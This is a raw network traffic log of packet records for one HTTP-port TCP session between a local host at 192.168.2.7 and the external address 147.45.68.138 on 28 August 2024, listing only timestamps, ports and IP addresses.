Aug 28, 2024 22:55:58.056865931 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.056869984 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056881905 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056891918 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.056894064 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056917906 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.056931973 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.056940079 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056952000 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056978941 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.056998968 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.165342093 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.170365095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.351303101 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.351325989 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.351336956 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.351347923 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.351375103 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.351392031 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.351393938 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.351403952 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.351413965 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.351425886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.351438046 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.351442099 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.351454020 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.351457119 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.351480007 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.351480961 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.351494074 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.351504087 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.351525068 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.351533890 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.351574898 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.351586103 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.351596117 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.351605892 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.351619005 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.351630926 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.351634979 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.351644993 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.351653099 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.351655960 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.351666927 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.351675987 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.351696968 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.351707935 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.351720095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.351731062 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.351746082 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.351758957 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.351778984 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.351778984 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.351784945 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.351785898 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.351788998 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.351794004 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.351795912 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.351805925 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.351815939 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.351844072 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.351963043 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.351974010 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.351983070 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.352014065 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.352032900 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.352039099 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.352044106 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.352088928 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.352118015 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.352129936 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.352154970 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.352164030 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.352164984 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.352176905 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.352216959 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.352242947 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.352256060 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.352266073 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.352277040 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.352288961 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.352291107 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.352304935 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.352317095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.352327108 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.352329016 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.352336884 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.352348089 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.352351904 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.352372885 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.352385998 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.352392912 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.352396011 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.352406025 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.352416039 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.352426052 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.352437973 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.352458000 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.352489948 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.352499962 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.352510929 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.352521896 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.352531910 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.352531910 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.352531910 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.352562904 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.352577925 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.352876902 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.352893114 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.352904081 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.352943897 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.352969885 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.352981091 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.352991104 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.353003025 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.353024960 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.353035927 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.353049994 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.353054047 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.353065014 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.353074074 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.353087902 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.353092909 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.353097916 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.353101015 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.353111029 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.353137016 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.353142023 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.353152037 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.353154898 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.353162050 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.353176117 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.353203058 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.353204012 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.353215933 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.353225946 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.353255987 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.353260040 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.353261948 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.353270054 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.353280067 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.353291035 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.353312969 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.353334904 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.353353024 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.353363991 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.353373051 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.353382111 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.353390932 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.353399038 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.353425026 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.353435040 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.353914022 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.353964090 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.353981972 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.353992939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.354024887 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.354038954 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.354051113 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.354060888 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.354084969 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.354094028 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.354104042 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.354125977 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.354130983 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.354137897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.354146957 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.354166031 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.354166031 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.354172945 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.354176998 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.354196072 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.354207993 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.354257107 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.354266882 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.354278088 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.354296923 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.354302883 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.354309082 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.354319096 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.354326010 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.354331017 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.354346991 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.354351997 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.354358912 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.354368925 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.354376078 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.354389906 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.354396105 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.354402065 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.354412079 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.354420900 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.354430914 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.354444981 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.354473114 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.354672909 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.354684114 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.354692936 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.354703903 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.354715109 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.354726076 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.354727030 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.354747057 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.354758024 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.354783058 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.354793072 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.354801893 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.354813099 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.354832888 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.354859114 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.355242968 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.355413914 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.438287973 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.438303947 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.438325882 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.438337088 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.438347101 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.438359976 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.438370943 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.438383102 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.438519955 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.438549995 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.438590050 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.438601017 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.438685894 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.438697100 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.438705921 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.438718081 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.438730001 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.438738108 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.438749075 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.438760996 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.438771009 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.438779116 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.438779116 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.438779116 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.438783884 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.438791037 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.438802958 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.438828945 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.438860893 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.438870907 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.438886881 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.438896894 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.438910007 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.438910961 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.438925982 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.438927889 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.438937902 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.438945055 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.438946962 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.438957930 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.438978910 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.439002991 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.439129114 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439146996 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439157009 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439192057 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.439229965 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439240932 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439250946 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439285040 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.439377069 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439387083 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439397097 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439407110 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439418077 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439423084 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.439429045 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439439058 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439444065 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.439455032 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439460993 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.439466953 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439480066 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.439483881 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439495087 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439505100 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439505100 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.439517021 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439527988 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439531088 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.439538956 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439548969 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.439553022 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439564943 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.439569950 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439579964 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439588070 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.439590931 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439604044 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439614058 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.439615011 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439626932 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439630032 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.439655066 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439656973 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.439666033 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439676046 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.439701080 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.439832926 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439841032 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439850092 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439861059 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439871073 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439876080 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.439888000 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439891100 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.439899921 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439907074 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.439929962 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.439934969 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.439944029 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.439966917 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.440289021 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.440309048 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.440320015 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.440331936 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.440355062 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.440357924 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.440368891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.440380096 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.440409899 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.440505028 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.440524101 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.440536022 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.440547943 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.440557957 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.440572023 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.440593004 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.440635920 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.440648079 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.440658092 CEST	80	49731	147.45.68.138	192.168.2.7
